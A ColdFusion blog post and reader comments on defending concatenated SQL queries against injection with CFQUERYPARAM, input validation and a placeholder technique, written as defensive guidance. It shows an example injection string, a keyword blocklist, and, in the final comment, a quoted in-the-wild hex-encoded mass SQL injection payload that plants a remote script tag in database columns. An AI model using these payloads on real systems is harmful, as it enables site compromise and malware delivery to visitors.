ColdFusion Muse

Combining SQL Query Strings and CFQUERYPARAM

Mark Kruger July 21, 2008 12:31 AM Coldfusion Security Comments (10)

If you have been following the muse the last few days you will know that I've had my shoulder to the wheel helping customers and fellow developers sort through making changes to their site to protect against a particularly malicious SQL Injection attack (read about the details here). Some of the folks who have contacted me are dealing with extra problems because their code uses string concatenation to build dynamic SQL strings. So the question has been asked a few times, "How do I go about building an SQL string with CFQUERYPARAMs in it?" Unfortunately, if you have chosen this approach it's going to be difficult to help you without seriously refactoring your code. Here's a few tips that can help, and one approach that might get you most of the way there.

Immediate Steps

First, you should realize that you are in for some late hours. So before you do anything else add some validation code as a stop gap measure. For example, you could use the UDF called isSQLInject found on Cflib.org to check the values of all Form and URL variables (be sure to add Declare, Cast, Char, Varchar, Exec, Execute and sp_sqlExecute to the list in the UDF). Using this UDF you could do something like this:

<!--- check the URL scope --->
<cfif isDefined('url')>
    <cfloop collection="#url#" item="uItem">
        <cfif isSQLInject(url[uITem])>
            <Cfabort>
        </cfif>
    </cfloop>        
</cfif>
<!--- check the FORM scope --->
<cfif isDefined('form')>
    <cfloop collection="#form#" item="fItem">
        <cfif isSQLInject(form[fITem])>
            <Cfabort>
        </cfif>
    </cfloop>        
</cfif>
We'll just call this crude arresting approach "Injectus Interuptus". It's not perfect but it will get us some protection while we fiddle with those queries.

Fixing Those Concatenated Query Strings

Before we "fix" these queries let's see an example of what they look like. Note, this is a very simple example.

<cfparam name="url.status" default="1"/>
<cfsavecontent variable="strSQL">
    SELECT     *
    FROM    users
    WHERE    status = '#url.status#'
    <cfif isDefined('url.username')>
        AND Username = '#url.username#'
    </cfif>
    <Cfif isDefined('url.email')>
        AND email = '#url.email#'
    </CFIF>
</cfsavecontent>
<!--- pass the string to the DB --->
<cfquery name="blah" datasource="test">
    #preservesinglequotes(strSQL)#
</cfquery>
Why is this approach used? The only time I've ever seen it as necessary is where the table, columns, where clause and joins are all unknown until runtime (as in some kind of report generator for example). Other than that I can think of virtually no reason to use this approach. Still, many programmers coming from ASP or JSP where this approach is required will find themselves using this approach - most of the time with a laborious group of CFSET statements rather than the lovely cfsavecontent code above.

You might notice that there is another problem with the code above. It has to do with the use of PRESERVESINGLEQUOTES( ). This function is designed for exactly this purpose - to keep CF from automatically escaping single quotes inside of a query. If you didn't use it then the code above that says "email = '#email#'" would be passed as "email = ''#email#''" - and would error out. So preservesinglequotes is the function that allows me to treat my string as a true "sql" string. This has the negative side effect of removing the minimal protection against injection provided by this automatic escaping. A user could, for example, inject SQL in a URL param that looks like this:

email=bob@abc.com' or 1 = 1 --


Such an approach would allow me to terminate my email variable and then add an OR clause that would always evaluate as true. The double dashes simple comment out whatever is to the right of my malicious code - in this case a single quote mark. Because of PreserveSingleQuotes( ) this would work - since the string would remain "as is". So preservesinglequotes() makes character and numeric columns vulnerable to the simplest injection attacks.

The Fix

Well, you could fix it by simply moving the whole thing into the CFQUERY tag and adding CFQUERYPARAMS to it - like so:

<!--- pass the string to the DB --->
<cfquery name="blah" datasource="test">
    SELECT     *
    FROM    users
    WHERE    status=<cfqueryparam cfsqltype="CF_SQL_CHAR" value="#url.status#"/>
    
    <cfif isDefined('url.username')>
        AND Username = <cfqueryparam cfsqltype="CF_SQL_CHAR" value="#url.username#"/>
    </cfif>
    
    <Cfif isDefined('url.email')>
        AND email = <cfqueryparam cfsqltype="CF_SQL_CHAR" value="#url.email#"/>
    </CFIF>
</cfquery>
Of course in my simple example this is a pretty easy code change. In practice these string concatenations may include a lot of heavy logic. So here's a fix that may help - although in most cases it will be just as easy to move your code into your cfquery tag.

Using Params and Concatenation Together

This approach requires that you replace all your variables with localized SQL variables in your concatenation. If you are in the habit of using column names in your URL or Form variables this can actually be pretty straight forward - just replace #url.blah# with @blah. So the first step in our example would be to alter the cfsavecontent area to look like this:

<cfsavecontent variable="strSQL">
    SELECT     *
    FROM    users
    WHERE    status = @status
    <cfif isDefined('url.username')>
        AND Username = @username
    </cfif>
    <Cfif isDefined('url.email')>
        AND email = @email
    </CFIF>
</cfsavecontent>
We now have a SQL string that has no direct user content in it. Instead it has placeholders for the variables we will be using. The next step is to build our query in a special way (NOTE: looping through the URL scope is a tricky shortcut. It might very well make more sense to hard code your "declare" and "select" statements).
<cfparam name="url.email" default=""/>
<cfparam name="url.username" default=""/>
<cfparam name="url.status" default=""/>
<cfquery name="blah" datasource="test">
<cfloop collection="#url#" index="uItem">
    DECLARE     @#uItem# varchar(200)
    SELECT @#uITem# = <cfqueryparam cfsqltype="CF_SQL_CHAR" value="#url[uITem]#"/>
</cfloop>

#strSQL#

</cfquery>
A couple of notes here. If you have very complicated concatenation code you might be able to dress up your code using this approach more easily than completely refactoring it. Only you can judge if this is useful or not. Also note that the uItem now represents the "name" of the url variable instead of the "value". The name is not typically used to attack - but I can imagine that a hacker might use an especially malformed url name and sneak it through some web servers. What's the result of the code above? It's going to be a query that looks like this:

<cfquery name="blah" datasource="test">
DECLARE @email varchar(200)
SELECT @email = ***bound variable
DECLARE @username varchar(200)
SELECT @username = ***bound variable
DECLARE @status varchar(200)
SELECT @status = ***bound variable
<!--- The Code below will vary --->
    SELECT     *
    FROM    users
    WHERE    status = @status
    AND Username = @username
        AND email = @email
</cfquery>

Using this approach you may be able to keep your concatenation code largely intact while still leveraging the power and protection CFQUERYPARAM. My take is that you will likely have a better result by simply biting the bullet and moving your concatenation code into CFQUERY tags. Still, this gives you an idea for another option.

Finally, a note to all you muse readers who will be tempted to comment on how this is a bad idea. Please note that I have made that very point in this post. I'm attempting to answer a very specific question with the best solution that I could devise short of completely rewriting the concatenation code altogether. It's not perfect but it is the only thing I could come up with that comes close to answering the question "how do I go about building an SQL string with CFQUERYPARAMS in it?" On the other hand, if you have a brilliant idea that solves that issue let's hear it. The muse is all about learning something new.

  • Share:

10 Comments

  • AJ Mercer's Gravatar
    Posted By
    AJ Mercer | 7/21/08 11:15 PM
    Thank Mark,

    Another great entry in your queryparam series.
  • Mike Brunt's Gravatar
    Posted By
    Mike Brunt | 7/21/08 11:23 PM
    Dan Wilson-Scott Krebs contributed some SQL to help with this issue as follows...

    he following script will undo the damage from the recent SQL injection attack that has been floating around. It needs to be run against the database as many times as the site was hit since if it was hit multiple times, the script will be in each column multiple times. It's basically the same script that the hacker used, only in reverse.

    Usual disclaimer... use at your own risk and beware if real data
    actually should contain <InvalidTag>:

    DECLARE @T varchar(255), @C varchar(255);
    DECLARE Table_Cursor CURSOR FOR
    SELECT a.name, b.name
    FROM sysobjects a, syscolumns b
    WHERE a.id = b.id AND a.xtype = 'u' AND
    (b.xtype = 99 OR
    b.xtype = 35 OR
    b.xtype = 231 OR
    b.xtype = 167);
    OPEN Table_Cursor;
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    WHILE (@@FETCH_STATUS = 0) BEGIN
    EXEC(
    'update ['+@T+'] set ['+@C+'] = left(
    convert(varchar(8000), ['+@C+']),
    len(convert(varchar(8000), ['+@C+'])) - 6 -
    patindex(''%tpircs<%'',
    reverse(convert(varchar(8000), ['+@C+'])))
    )
    where ['+@C+'] like ''%<InvalidTag%</script>'''
    );
    FETCH NEXT FROM Table_Cursor INTO @T, @C;
    END;
    CLOSE Table_Cursor;
    DEALLOCATE Table_Cursor;
  • Mark Flewellen's Gravatar
    Posted By
    Mark Flewellen | 7/21/08 11:24 PM
    I found this quite an interesting way of dealing with sql injection on top of what you have mentioned http://www.0x000000.com/?i=567
    This checks for it using apache mod_rewrite.
  • Brad Wood's Gravatar
    Posted By
    Brad Wood | 7/22/08 3:11 AM
    "Injectus Interuptus" lol That's pretty good.
  • Matt Olson's Gravatar
    Posted By
    Matt Olson | 7/22/08 4:31 AM
    Mark,

    Thanks for all your help!!
  • JC's Gravatar
    Posted By
    JC | 7/22/08 4:49 AM
    I laughed when I read this. It immediately reminded me of an employee performance monitoring app I wrote. It's one very, very ugly piece of code I wrote in one of those all night 'fit of genius' code binges. It does amazing and fun things with data and cfcharts. But it is very, very not-pretty. In addition to ample usage of variable variables, there's a line in the SQL query that just reads... #also#.

    It's actually just one of three possible AND x > y lines based on search conditions, and not something that user input can modify beyond that, but it looks scary having it in there.
  • JC's Gravatar
    Posted By
    JC | 7/22/08 5:14 AM
    Another note... I know all of this SQL injection stuff is scary, but let's not be silly -- last night I listened to a couple of novice programmer friends freaking out over it and talking about spending hours changing all their code to "protect" against it. I asked a few questions... their code only has 3 points where something the user actually enters touches the database (username/password/email address). Every other bit of user entry goes against switch statements or some similar construct... any variables inside the query were things they'd set themselves, possibly in response to user input, but not actually containing user input.

    And they'd spent hours parameterizing not just those, but even places where the SQL was hard coded (like, "where ActiveBit = 0," they'd parameterize the hardcoded 0). I asked them why... "just in case".

    I can understand being careful, but come on, let's use some common sense, no? If the bad mans are going to magically break into your SQL that doesn't have any user input in it, you have more serious problems at hand. We all suffer from to much to do and too little time to do it in, at least triage a bit and fix the imaginary problems last. Somewhere right after enjoying good blog posts. :)
  • Matt's Gravatar
    Posted By
    Matt | 7/22/08 5:27 AM
    I'm in a situation where I have taken over a site that has string concatenation all over the place. Most of the logic was written because the page is designed to handle multiple functions based on what is passed in. If we need to rewrite these, can someone help me with a "best practices" guide to doing this? I'd appreciate any help.
  • Gary's Gravatar
    Posted By
    Gary | 2/23/09 7:40 PM
    "It's not perfect but it is the only thing I could come up with that comes close to answering the question "how do I go about building an SQL string with CFQUERYPARAMS in it?" On the other hand, if you have a brilliant idea that solves that issue let's hear it."

    On "how do I go about building an SQL string with CFQUERYPARAMS in it?" I gave it my best effort - and struck out - like many before me - so for the queries that need preservesinglequote(), the validated data will have all single quotes removed and probably "--" too, and won't be allowed to start with a ";" (although only might add dificulty) and probably blacklist a couple of the most obvious things (like UNION SELECT and DROP TABLE) - not to mention that the only data that can come into these fields must be less than 50 chars
  • Alex's Gravatar
    Posted By
    Alex | 12/8/11 10:21 PM
    I have used <cfqueryparam> in one of my CF templates, but they still managed to inject their SQL via the following statement:

    http://www.website.com.sg/products/pageName.cfm?id... declare @s varchar(4000) set @s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 as varchar(4000)) exec(@s)--&id2=1

    Am I right in concluding that CFQUERYPARAM is not fault-proof ?